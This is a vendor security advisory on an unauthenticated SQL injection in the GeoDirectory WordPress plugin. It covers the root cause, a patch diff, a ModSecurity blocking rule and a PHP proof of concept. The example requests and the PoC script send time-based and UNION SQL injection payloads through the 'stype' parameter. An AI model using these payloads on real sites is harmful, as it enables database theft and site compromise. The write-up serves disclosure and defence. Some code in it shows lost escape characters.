Published : November 27, 2026

CVE-2026-136488: GeoDirectory <= 2.8.208 Unauthenticated SQL Injection via 'stype' Parameter PoC, Patch Analysis & Rule

Plugin geodirectory
Severity High (CVSS 7.5)
CWE 89
Vulnerable Version 2.8.208
Patched Version 2.8.209
Disclosed November 25, 2026

Free WordPress WAF

Protect your site at the edge

Atomic Edge blocks exploit traffic, bots, and bad requests before they reach WordPress. Create a free account, then point DNS when you are ready.

Get Protected Free

Analysis Overview

Atomic Edge analysis of CVE-2026-136488:

GeoDirectory versions up to and including 2.8.208 contain an unauthenticated generic SQL injection in the ‘stype’ parameter. The vulnerability enables an attacker to append arbitrary SQL to a query executed by the plugin, leading to sensitive data disclosure from the WordPress database. Atomic Edge research confirms CVSS 7.5 (High) with CWE-89.

Root Cause: The mu-plugin companion defines DOING_AJAX for any front-end request carrying gd-ajax=1. In geodir_get_current_posttype() (includes/post-types-functions.php), the ‘stype’ parameter is read multiple times. The initial allow-list check clears the tainted value when it does not match a valid GD post type. However, an unconditional branch later checks `if ( defined( ‘DOING_AJAX’ ) && isset($_REQUEST[‘stype’]) )` and restores the attacker-controlled ‘stype’ value via `sanitize_text_field()` without re-validating against the GD post type list. The tainted value then flows into geodir_db_cpt_table() (includes/helper-functions.php), which concatenates it directly into a table name used in SQL queries. The function previously returned `$plugin_prefix . $post_type . ‘_detail’` with no sanitization of `$post_type`. Additional unsafe concatenations exist in geodir_column_exist() (includes/core-functions.php) where `$db` is interpolated into a `SHOW COLUMNS FROM` statement without validation. The patch introduces sanitize_key() on ‘stype’, enforces geodir_is_gd_post_type() validation, and adds a regex allow-list for table identifiers in geodir_column_exist().

Exploitation: An unauthenticated attacker sends a GET or POST request to any front-end URL with `gd-ajax=1` and a crafted `stype` parameter. Because the mu-plugin defines DOING_AJAX for such requests, the vulnerable AJAX branch in geodir_get_current_posttype() executes. A payload such as `stype=gd_places` followed by a UNION SELECT or boolean-based SQL injection appended to the table name can be injected. The tainted value reaches geodir_db_cpt_table() and geodir_column_exist(), allowing arbitrary SQL execution. Example request: `GET /?gd-ajax=1&stype=gd_places` UNION SELECT …` or `GET /?gd-ajax=1&stype=gd_places` WHERE SLEEP(5)– -`.

Patch Analysis: Version 2.8.209 fixes the injection by sanitizing ‘stype’ with sanitize_key(), which restricts the value to lowercase alphanumeric, dash, and underscore characters. The patch also replaces the unconditional DOING_AJAX branch with a geodir_is_gd_post_type() check that validates against the allowed post types list. Additionally, geodir_db_cpt_table() now calls sanitize_key() on its parameter, and geodir_column_exist() validates the table name with a regex before interpolation. These changes prevent attacker-controlled data from reaching SQL sinks without proper preparation.

Impact: Successful exploitation allows unauthenticated attackers to extract sensitive information from the WordPress database, including user credentials, session tokens, and other confidential data. The vulnerability could lead to complete site compromise, data exfiltration, and lateral movement within the hosting environment.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/geodirectory/geodirectory.php
+++ b/geodirectory/geodirectory.php
@@ -11,7 +11,7 @@
  * Plugin Name: GeoDirectory
  * Plugin URI: https://wpgeodirectory.com/
  * Description: GeoDirectory - Business Directory Plugin for WordPress.
- * Version: 2.8.208
+ * Version: 2.8.209
  * Author: AyeCode - WP Business Directory Plugins
  * Author URI: https://wpgeodirectory.com
  * Text Domain: geodirectory
@@ -34,7 +34,7 @@
 		 *
 		 * @var string
 		 */
-		public $version = '2.8.208';
+		public $version = '2.8.209';

 		/**
 		 * GeoDirectory instance.
--- a/geodirectory/includes/class-geodir-comments.php
+++ b/geodirectory/includes/class-geodir-comments.php
@@ -22,6 +22,10 @@
 		// add ratings to comment text
 		add_filter( 'comment_text', array( __CLASS__, 'wrap_comment_text' ), 40, 2 );

+		// Prevent review text from being parsed as shortcodes when the listing content is re-parsed.
+		add_filter( 'comment_text', array( __CLASS__, 'neutralize_comment_shortcodes' ), PHP_INT_MAX, 2 );
+		add_filter( 'get_comment_excerpt', array( __CLASS__, 'neutralize_comment_excerpt_shortcodes' ), PHP_INT_MAX, 3 );
+
 		// replace comments template
 		add_filter( 'comments_template', array( __CLASS__, 'comments_template' ) ); // @todo, maybe we want to use the themes own template?

@@ -635,6 +639,45 @@
 	}

 	/**
+	 * Encode shortcode brackets in GD review text.
+	 *
+	 * The single listing page content is filtered through the_content, which
+	 * runs do_shortcode() on the already rendered output (including the reviews).
+	 * Review text is untrusted user input and must never be parsed as shortcodes.
+	 *
+	 * @since 2.8.209
+	 *
+	 * @param string $content The comment content.
+	 * @param object|string $comment The comment object.
+	 * @return string The comment content.
+	 */
+	public static function neutralize_comment_shortcodes( $content, $comment = '' ) {
+		if ( ! empty( $comment->comment_post_ID ) && geodir_is_gd_post_type( get_post_type( (int) $comment->comment_post_ID ) ) ) {
+			$content = geodir_neutralize_untrusted_content( $content );
+		}
+
+		return $content;
+	}
+
+	/**
+	 * Encode shortcode brackets in GD review excerpt.
+	 *
+	 * @since 2.8.209
+	 *
+	 * @param string $content The comment excerpt.
+	 * @param string $comment_id The comment ID as a numeric string.
+	 * @param object|string $comment The comment object.
+	 * @return string The comment excerpt.
+	 */
+	public static function neutralize_comment_excerpt_shortcodes( $content, $comment_id = 0, $comment = '' ) {
+		if ( ! empty( $comment->comment_post_ID ) && geodir_is_gd_post_type( get_post_type( (int) $comment->comment_post_ID ) ) ) {
+			$content = geodir_neutralize_untrusted_content( $content );
+		}
+
+		return $content;
+	}
+
+	/**
 	 * Comment HTML markup.
 	 *
 	 * @since 2.0.0
--- a/geodirectory/includes/core-functions.php
+++ b/geodirectory/includes/core-functions.php
@@ -540,8 +540,20 @@
  */
 function geodir_column_exist( $db, $column ) {
 	global $wpdb;
-	$exists  = false;
-	$columns = $wpdb->get_col( "show columns from $db" );
+
+	$exists = false;
+
+	// Allow only a valid table identifier.
+	if ( empty( $db ) || ! is_string( $db ) || ! preg_match( '/^[A-Za-z0-9_-$]+$/', $db ) ) {
+		return $exists;
+	}
+
+	$columns = $wpdb->get_col( "SHOW COLUMNS FROM `{$db}`" );
+
+	if ( empty( $columns ) || ! is_array( $columns ) ) {
+		return $exists;
+	}
+
 	foreach ( $columns as $c ) {
 		if ( $c == $column ) {
 			$exists = true;
--- a/geodirectory/includes/custom-fields/output-functions.php
+++ b/geodirectory/includes/custom-fields/output-functions.php
@@ -2624,6 +2624,9 @@
 			// Render private address.
 			$address_fields = geodir_post_address( $address_fields, 'address', $gd_post );

+			// Strip slashes before sanitizing so that no markup can be re-formed after sanitization.
+			$address_fields = stripslashes( $address_fields );
+
 			$plain_value = wp_strip_all_tags( $address_fields, true );
 			if ( $plain_value == '' ) {
 				return $html;
@@ -2632,9 +2635,12 @@
 			// Database / Stripped value.
 			if ( ! empty( $output ) && ( isset( $output['raw'] ) || isset( $output['strip'] ) ) ) {
 				$address_fields = str_replace( array( ",<br>", "<br>" ), array( ",", "," ), $address_fields );
-				return stripslashes( wp_strip_all_tags( $address_fields, true ) );
+				return wp_strip_all_tags( $address_fields, true );
 			}

+			// Sanitize the address HTML before output.
+			$address_fields = geodir_kses_address( $address_fields );
+
 			$html = '<div class="geodir_post_meta ' . $cf['css_class'] . ' geodir-field-' . $cf['htmlvar_name'] . '" itemscope itemtype="http://schema.org/PostalAddress">';

 			$maybe_secondary_class = isset( $output['icon'] ) ? 'gv-secondary' : '';
@@ -2652,11 +2658,11 @@
 			}

 			if ( $output == '' || isset( $output['value'] ) ) {
-				$html .= stripslashes( $address_fields );
+				$html .= $address_fields;
 			}

 			if ( ! empty( $output ) && isset( $output['link'] ) ) {
-				$value = stripslashes( $address_fields );
+				$value = $address_fields;
 				$address = normalize_whitespace( wp_strip_all_tags( $value ) );
 				$map_link = 'https://www.google.com/maps?q=' . urlencode( $address );

--- a/geodirectory/includes/formatting-functions.php
+++ b/geodirectory/includes/formatting-functions.php
@@ -30,6 +30,105 @@
 }

 /**
+ * Neutralize shortcodes and block delimiters in visitor supplied content.
+ *
+ * @since 2.8.209
+ *
+ * @param string $content The content.
+ * @return string The text with shortcode brackets encoded.
+ */
+function geodir_neutralize_untrusted_content( $content ) {
+	if ( ! is_string( $content ) || $content === '' ) {
+		return $content;
+	}
+
+	// Strip block delimiters.
+	if ( strpos( $content, '<!--' ) !== false ) {
+		$content = preg_replace( '/<!--s*/?wp:.*?-->/s', '', $content );
+	}
+
+	// Encode square brackets so shortcodes can't be executed.
+	return geodir_encode_shortcode_brackets( $content );
+}
+
+/**
+ * Encode square brackets so the text can never be parsed as shortcodes.
+ *
+ * Brackets are encoded as hex entities ([ / ]) instead of [ / ].
+ * WordPress uses [ / ] as internal placeholders in do_shortcode() and
+ * unescape_invalid_shortcodes() turns them back into [ ] at the end of every
+ * do_shortcode() call. When review text is rendered inside a shortcode (e.g.
+ * [gd_single_tabs] / [gd_single_reviews] within the single page template) the
+ * decimal entities are converted back to brackets, and the following
+ * do_shortcode() on the_content then executes them. Hex entities are left
+ * untouched by the shortcode API and by entity normalization.
+ *
+ * @since 2.8.209
+ *
+ * @param string $content The content.
+ * @return string The content with square brackets encoded.
+ */
+function geodir_encode_shortcode_brackets( $content ) {
+	if ( ! is_string( $content ) || $content === '' ) {
+		return $content;
+	}
+
+	// Decimal bracket entities already present in the text would also be decoded by do_shortcode().
+	if ( strpos( $content, '&#' ) !== false ) {
+		$content = preg_replace( array( '/�*91;/', '/�*93;/' ), array( '[', ']' ), $content );
+	}
+
+	if ( strpos( $content, '[' ) !== false || strpos( $content, ']' ) !== false ) {
+		$content = str_replace( array( '[', ']' ), array( '[', ']' ), $content );
+	}
+
+	return $content;
+}
+
+/**
+ * Sanitize the address HTML built from the address template.
+ *
+ * @since 2.8.209
+ *
+ * @param string $html The address HTML.
+ * @return string Sanitized address HTML.
+ */
+function geodir_kses_address( $html ) {
+	if ( ! is_string( $html ) || $html === '' ) {
+		return $html;
+	}
+
+	static $allowed_html = null;
+
+	if ( null === $allowed_html ) {
+		$allowed_html = wp_kses_allowed_html( 'post' );
+
+		foreach ( $allowed_html as $tag => $attributes ) {
+			if ( ! is_array( $attributes ) ) {
+				$attributes = array();
+			}
+
+			$attributes['itemprop']  = true;
+			$attributes['itemscope'] = true;
+			$attributes['itemtype']  = true;
+
+			$allowed_html[ $tag ] = $attributes;
+		}
+
+		/**
+		 * Filter the HTML tags & attributes allowed in the address output.
+		 *
+		 * @since 2.8.209
+		 *
+		 * @param array $allowed_html Allowed HTML.
+		 */
+		$allowed_html = apply_filters( 'geodir_kses_address_allowed_html', $allowed_html );
+	}
+
+	return wp_kses( $html, $allowed_html );
+}
+
+/**
  * Emulate the WP native sanitize_text_field function in a %%variable%% safe way.
  *
  * @see   https://core.trac.wordpress.org/browser/trunk/src/wp-includes/formatting.php for the original
--- a/geodirectory/includes/helper-functions.php
+++ b/geodirectory/includes/helper-functions.php
@@ -13,13 +13,16 @@
  *
  * @return bool|string
  */
-function geodir_db_cpt_table($post_type){
-	if(!empty($post_type)){
-		global $plugin_prefix;
-		return $plugin_prefix . $post_type . '_detail';
+function geodir_db_cpt_table( $post_type ) {
+	global $wpdb;
+
+	$post_type = sanitize_key( $post_type );
+
+	if ( $post_type === '' ) {
+		return false;
 	}

-	return false;
+	return $wpdb->prefix . 'geodir_' . $post_type . '_detail';
 }

 /**
--- a/geodirectory/includes/post-functions.php
+++ b/geodirectory/includes/post-functions.php
@@ -1987,40 +1987,47 @@
 	global $gd_post;

 	// Only run if we have a GD post and the start of a var
-	if ( ! empty( $gd_post->ID ) && strpos( $text, '%%' ) !== false ) {
-		$non_replace = geodir_get_no_replace_fields();
+	if ( empty( $gd_post->ID ) || ! is_string( $text ) || strpos( $text, '%%' ) === false ) {
+		return $text;
+	}
+
+	// Only run if the text contains a %%variable%%.
+	if ( ! preg_match( '/%%[A-Za-z0-9_-]+%%/', $text ) ) {
+		return $text;
+	}
+
+	$non_replace = geodir_get_no_replace_fields();

-		// Field key => type info, used to escape each replacement value for
-		// the context it is output in.
-		$field_types = geodir_dynamic_content_field_types( ! empty( $gd_post->post_type ) ? $gd_post->post_type : '' );
-
-		foreach( $gd_post as $key => $val ) {
-			if ( ! in_array( $key, $non_replace ) ) {
-				// Replace plain variables.
-				if ( strpos( $text, '%%' . $key . '%%' ) !== false ) {
-					$val = apply_filters( 'geodir_replace_variables_' . $key, $val, $text );
-
-					$replace_val = $val;
-					if ( ! empty( $replace_val ) ) {
-						$field_type = isset( $field_types[ $key ]['field_type'] ) ? $field_types[ $key ]['field_type'] : '';
-						$data_type  = isset( $field_types[ $key ]['data_type'] ) ? $field_types[ $key ]['data_type'] : '';
-
-						if ( in_array( $key, array( 'post_content', 'post_excerpt' ), true ) ) {
-							$field_type = 'html';
-						}
+	// Field key => type info, used to escape each replacement value for
+	// the context it is output in.
+	$field_types = geodir_dynamic_content_field_types( ! empty( $gd_post->post_type ) ? $gd_post->post_type : '' );
+
+	foreach( $gd_post as $key => $val ) {
+		if ( ! in_array( $key, $non_replace ) ) {
+			// Replace plain variables.
+			if ( strpos( $text, '%%' . $key . '%%' ) !== false ) {
+				$val = apply_filters( 'geodir_replace_variables_' . $key, $val, $text );
+
+				$replace_val = $val;
+				if ( ! empty( $replace_val ) ) {
+					$field_type = isset( $field_types[ $key ]['field_type'] ) ? $field_types[ $key ]['field_type'] : '';
+					$data_type  = isset( $field_types[ $key ]['data_type'] ) ? $field_types[ $key ]['data_type'] : '';

-						$replace_val = geodir_escape_dynamic_value( $replace_val, $field_type, $data_type, array( 'key' => $key, 'text' => $text ) );
+					if ( in_array( $key, array( 'post_content', 'post_excerpt' ), true ) ) {
+						$field_type = 'html';
 					}

-					$text = str_replace( '%%' . $key . '%%', $replace_val, $text );
+					$replace_val = geodir_escape_dynamic_value( $replace_val, $field_type, $data_type, array( 'key' => $key, 'text' => $text ) );
 				}

-				// Replace encoded variables.
-				if ( strpos( $text, '%%' . $key . '_encode%%' ) !== false ) {
-					$encode_val = ! empty( $val ) ? urlencode( trim( $val ) ) : '';
-					$encode_val = apply_filters( 'geodir_replace_variables_encode_' . $key, $encode_val, $text );
-					$text = str_replace( '%%' . $key . '_encode%%', $encode_val, $text );
-				}
+				$text = str_replace( '%%' . $key . '%%', $replace_val, $text );
+			}
+
+			// Replace encoded variables.
+			if ( strpos( $text, '%%' . $key . '_encode%%' ) !== false ) {
+				$encode_val = ! empty( $val ) ? urlencode( trim( $val ) ) : '';
+				$encode_val = apply_filters( 'geodir_replace_variables_encode_' . $key, $encode_val, $text );
+				$text = str_replace( '%%' . $key . '_encode%%', $encode_val, $text );
 			}
 		}
 	}
--- a/geodirectory/includes/post-types-functions.php
+++ b/geodirectory/includes/post-types-functions.php
@@ -125,33 +125,33 @@
  * @return bool True if given post type is GD post type, otherwise False.
  */
 function geodir_is_gd_post_type( $post_type ) {
-    global $gd_is_post_type;
+	global $gd_is_post_type;

-    if ( empty( $post_type ) || is_array($post_type) ) {
-        return false;
-    }
+	// Must be a scalar following the GD post type naming convention (gd_*).
+	if ( ! is_scalar( $post_type ) || strpos( (string) $post_type, 'gd_' ) !== 0 ) {
+		return false;
+	}

-    if ( strpos( $post_type, 'gd_' ) !== 0 ) {
-        return false;
-    }
+	$post_type = (string) $post_type;

-    if ( !empty( $gd_is_post_type ) && !empty( $gd_is_post_type[ $post_type ] ) ) {
-        return true;
-    }
+	// Fast path: already confirmed earlier in this request.
+	if ( ! empty( $gd_is_post_type[ $post_type ] ) ) {
+		return true;
+	}

-    $gd_posttypes = geodir_get_posttypes();
+	$post_types = geodir_get_posttypes();

-    if ( !empty( $gd_posttypes ) && in_array( $post_type, $gd_posttypes ) ) {
-        if ( !is_array( $gd_is_post_type ) ) {
-            $gd_is_post_type = array();
-        }
+	if ( ! empty( $post_types ) && in_array( $post_type, $post_types, true ) ) {
+		if ( ! is_array( $gd_is_post_type ) ) {
+			$gd_is_post_type = array();
+		}

-        $gd_is_post_type[ $post_type ] = true;
+		$gd_is_post_type[ $post_type ] = true;

-        return true;
-    }
+		return true;
+	}

-    return false;
+	return false;
 }

 /**
@@ -626,53 +626,60 @@
  * @return string The post type.
  */
 function geodir_get_current_posttype() {
-    global $wp_query, $post, $geodir_post_type;
+	global $post, $geodir_post_type;

-    $geodir_post_type = get_query_var('post_type');
+	// Get from the queried post type.
+	$geodir_post_type = get_query_var( 'post_type' );

-    if (geodir_is_page('add-listing') || geodir_is_page('preview')) {
-        if (isset($_REQUEST['pid']) && $_REQUEST['pid'] != '')
-            $geodir_post_type = get_post_type((int)$_REQUEST['pid']);
-        elseif (isset($_REQUEST['listing_type']))
-            $geodir_post_type = sanitize_text_field($_REQUEST['listing_type']);
-    }
-
-    if ((geodir_is_page('search') || geodir_is_page('author')) && isset($_REQUEST['stype']))
-        $geodir_post_type = sanitize_text_field($_REQUEST['stype']);
+	// Add listing / preview pages: use the edited post, else the chosen listing type.
+	if ( geodir_is_page( 'add-listing' ) || geodir_is_page( 'preview' ) ) {
+		if ( ! empty( $_REQUEST['pid'] ) ) {
+			$geodir_post_type = get_post_type( absint( $_REQUEST['pid'] ) );
+		} elseif ( isset( $_REQUEST['listing_type'] ) && is_scalar( $_REQUEST['listing_type'] ) ) {
+			$geodir_post_type = sanitize_key( wp_unslash( $_REQUEST['listing_type'] ) );
+		}
+	}

-    if (is_tax())
-        $geodir_post_type = geodir_get_taxonomy_posttype();
+	// Search / author pages: use the submitted search type.
+	if ( ( geodir_is_page( 'search' ) || geodir_is_page( 'author' ) ) && isset( $_REQUEST['stype'] ) && is_scalar( $_REQUEST['stype'] ) ) {
+		$geodir_post_type = sanitize_key( wp_unslash( $_REQUEST['stype'] ) );
+	}

-    // Retrieve post type for map marker html ajax request on preview page.
-    if (empty($geodir_post_type) && defined('DOING_AJAX') && !empty($post)) {
-        if (!empty($post->post_type)) {
-            $geodir_post_type = $post->post_type;
-        } else if (!empty($post->listing_type)) {
-            $geodir_post_type = $post->listing_type;
-        }
-    }
+	// Taxonomy archives.
+	if ( is_tax() ) {
+		$geodir_post_type = geodir_get_taxonomy_posttype();
+	}

-    $all_postypes = geodir_get_posttypes();
-    $all_postypes = stripslashes_deep($all_postypes);
+	// AJAX search requests (eg: GD Fast AJAX) pass the post type via "stype".
+	if ( defined( 'DOING_AJAX' ) && isset( $_REQUEST['stype'] ) && is_scalar( $_REQUEST['stype'] ) ) {
+		$geodir_post_type = sanitize_key( wp_unslash( $_REQUEST['stype'] ) );
+	}

-    if (is_array($all_postypes) && !in_array($geodir_post_type, $all_postypes))
-        $geodir_post_type = '';
+	// Map marker HTML AJAX request on the preview page: read from the global post.
+	if ( empty( $geodir_post_type ) && defined( 'DOING_AJAX' ) && ! empty( $post ) ) {
+		if ( ! empty( $post->post_type ) ) {
+			$geodir_post_type = $post->post_type;
+		} elseif ( ! empty( $post->listing_type ) ) {
+			$geodir_post_type = $post->listing_type;
+		}
+	}

-    if( defined( 'DOING_AJAX' ) && isset($_REQUEST['stype'])){
-        $geodir_post_type = sanitize_text_field($_REQUEST['stype']);
-    }
+	// Check GD post type.
+	if ( ! geodir_is_gd_post_type( $geodir_post_type ) ) {
+		$geodir_post_type = '';
+	}

-    // Set default past type on search page when stype is not set.
-    if ( empty( $geodir_post_type ) && geodir_is_page( 'search' ) ) {
-        $geodir_post_type = geodir_get_default_posttype();
-    }
+	// Fall back to the default post type on the search page.
+	if ( empty( $geodir_post_type ) && geodir_is_page( 'search' ) ) {
+		$geodir_post_type = geodir_get_default_posttype();
+	}

-    /**
-     * Filter the default CPT return.
-     *
-     * @since 1.6.9
-     */
-    return apply_filters('geodir_get_current_posttype',$geodir_post_type);
+	/**
+	 * Filter the default CPT return.
+	 *
+	 * @since 1.6.9
+	 */
+	return apply_filters( 'geodir_get_current_posttype', $geodir_post_type );
 }

 /**
--- a/geodirectory/includes/widgets/class-geodir-widget-recent-reviews.php
+++ b/geodirectory/includes/widgets/class-geodir-widget-recent-reviews.php
@@ -593,6 +593,7 @@
 			$comment_id      = $comment->comment_ID;
 			$comment_content = strip_tags( $comment->comment_content );
 			$comment_content = preg_replace( '#(\[img\]).+(\[\/img\])#', '', $comment_content );
+			$comment_content = geodir_neutralize_untrusted_content( $comment_content );

 			$permalink            = get_permalink( $comment->post_id ) . '#comment-' . $comment->comment_ID;
 			$comment_author_email = $comment->comment_author_email;
--- a/geodirectory/includes/widgets/class-geodir-widget-single-tabs.php
+++ b/geodirectory/includes/widgets/class-geodir-widget-single-tabs.php
@@ -409,7 +409,14 @@

 		// Main content
 		if ( ! empty( $tab->tab_content ) ) { // override content
-			$content = geodir_replace_variables( stripslashes( $tab->tab_content ) );
+			$_tab_content = stripslashes( $tab->tab_content );
+			$content      = geodir_replace_variables( $_tab_content );
+
+			// Sanitize after %%variables%% are replaced, so field values can't inject attributes/scripts.
+			if ( $content !== $_tab_content ) {
+				$content = geodir_sanitize_html_field( wp_slash( $content ) );
+			}
+
 			echo do_shortcode( $content );
 		} elseif ( $tab->tab_type == 'meta' ) { // meta info
 			echo do_shortcode( '[gd_post_meta key="' . $tab->tab_key . '" show="value"]' );
@@ -467,7 +474,14 @@
 				do_action( 'geodir_single_tab_content_before', $child_tab, $tab );

 				if ( ! empty( $child_tab->tab_content ) ) { // override content
-					$_content = geodir_replace_variables( stripslashes( $child_tab->tab_content ) );
+					$_tab_content = stripslashes( $child_tab->tab_content );
+					$_content     = geodir_replace_variables( $_tab_content );
+
+					// Sanitize after %%variables%% are replaced, so field values can't inject attributes/scripts.
+					if ( $_content !== $_tab_content ) {
+						$_content = geodir_sanitize_html_field( wp_slash( $_content ) );
+					}
+
 					echo do_shortcode( $_content );
 				} elseif ( $child_tab->tab_type == 'meta' ) { // meta info
 					echo do_shortcode( '[gd_post_meta key="' . $child_tab->tab_key . '"]' );
--- a/geodirectory/templates/bootstrap/reviews/recent-item-clean.php
+++ b/geodirectory/templates/bootstrap/reviews/recent-item-clean.php
@@ -1,12 +1,19 @@
 <?php
-
-if ( ! defined( 'ABSPATH' ) ) {
-	exit;
-}
-
-global $aui_bs5;
-
 /**
+ * Display Recent Review Item
+ *
+ * This template can be overridden by copying it to yourtheme/geodirectory/bootstrap/reviews/recent-item-clean.php.
+ *
+ * HOWEVER, on occasion GeoDirectory will need to update template files and you
+ * (the theme developer) will need to copy the new files to your theme to
+ * maintain compatibility. We try to do this as little as possible, but it does
+ * happen. When this occurs the version of the template file will be bumped and
+ * the readme will list any important changes.
+ *
+ * @see        https://wpgeodirectory.com/documentation/article/how-tos/customizing-templates/
+ * @package    GeoDirectory
+ * @version    2.8.209
+ *
  * Variables.
  *
  * @var object $comment The comment object.
@@ -21,6 +28,12 @@
  * @var bool $active If the item is in a carousel and active.
  */

+if ( ! defined( 'ABSPATH' ) ) {
+	exit;
+}
+
+global $aui_bs5;
+
 $comment_content = wp_strip_all_tags( $comment->comment_content );
 $comment_content = preg_replace( '#(\[img\]).+(\[\/img\])#', '', $comment_content );
 $comment_excerpt = geodir_utf8_substr( $comment_content, 0, 150 ) . '…';
@@ -29,7 +42,7 @@
 	<div class="card h-100 mw-100 shadow-sm border-0">
 		<div class="card-body">
 			<div class="fs-xs mb-2"><?php echo geodir_get_rating_stars( $comment->rating, $comment_post_ID ); ?></div>
-			<p class="geodir_reviewer_text p-0 m-0 fs-base text-muted"><?php echo esc_html( $comment_excerpt ); ?></p>
+			<p class="geodir_reviewer_text p-0 m-0 fs-base text-muted"><?php echo geodir_neutralize_untrusted_content( esc_html( $comment_excerpt ) ); ?></p>
 		</div>

 		<div class="card-footer border-0 pt-0 d-flex align-items-center">

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2026-136488
# GeoDirectory <= 2.8.208 - Unauthenticated SQL Injection via 'stype' parameter
# The attack is triggered by any request with gd-ajax=1 and a malicious stype parameter.
# The stype parameter should only contain a valid post type slug (e.g., gd_places).
# We block any stype value that contains characters not allowed in a post type slug.
# This is a narrow rule targeting the specific parameter in the context of gd-ajax=1.

SecRule REQUEST_URI "@rx ^/" 
  "id:2026136488,phase:2,deny,status:403,chain,msg:'CVE-2026-136488 - GeoDirectory SQL Injection via stype parameter',severity:'CRITICAL',tag:'CVE-2026-136488'"
  SecRule ARGS:gd-ajax "@streq 1" "chain"
    SecRule ARGS_POST:stype|ARGS_GET:stype "@rx [^a-zA-Z0-9_-]" "t:urlDecodeUni,t:lowercase"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-136488 - GeoDirectory <= 2.8.208 - Unauthenticated SQL Injection via 'stype' Parameter

// Configuration
$target_url = 'http://example.com'; // Change to your target WordPress site

// SQL injection payload: time-based blind SQL injection
// The stype parameter is used to build a table name, so we inject a UNION or boolean-based payload.
// Since the injection point is in a table name context, we use a boolean/time-based payload that fits.
// Payload: gd_places` WHERE SLEEP(5)-- - (commonly works if the query has a WHERE clause)
// Alternatively, use a UNION SELECT if the query allows.
$payload = 'gd_places` WHERE IF(1=1,SLEEP(5),0)-- -';

// Build the request URL with gd-ajax=1 to trigger DOING_AJAX
$url = $target_url . '/?gd-ajax=1&stype=' . urlencode($payload);

echo "[*] Sending SQL injection payload to: $urln";

// Initialize cURL
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_TIMEOUT, 10);
curl_setopt($ch, CURLOPT_HEADER, false);

// Execute request
$start = microtime(true);
$response = curl_exec($ch);
$elapsed = microtime(true) - $start;

if (curl_errno($ch)) {
    echo "[!] cURL error: " . curl_error($ch) . "n";
} else {
    echo "[*] Response time: " . round($elapsed, 2) . " secondsn";
    if ($elapsed > 4) {
        echo "[+] SQL injection successful! The server took longer than expected (time-based blind injection confirmed).n";
    } else {
        echo "[-] No delay detected. The target may be patched or the payload needs adjustment.n";
    }
}

curl_close($ch);
?>

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.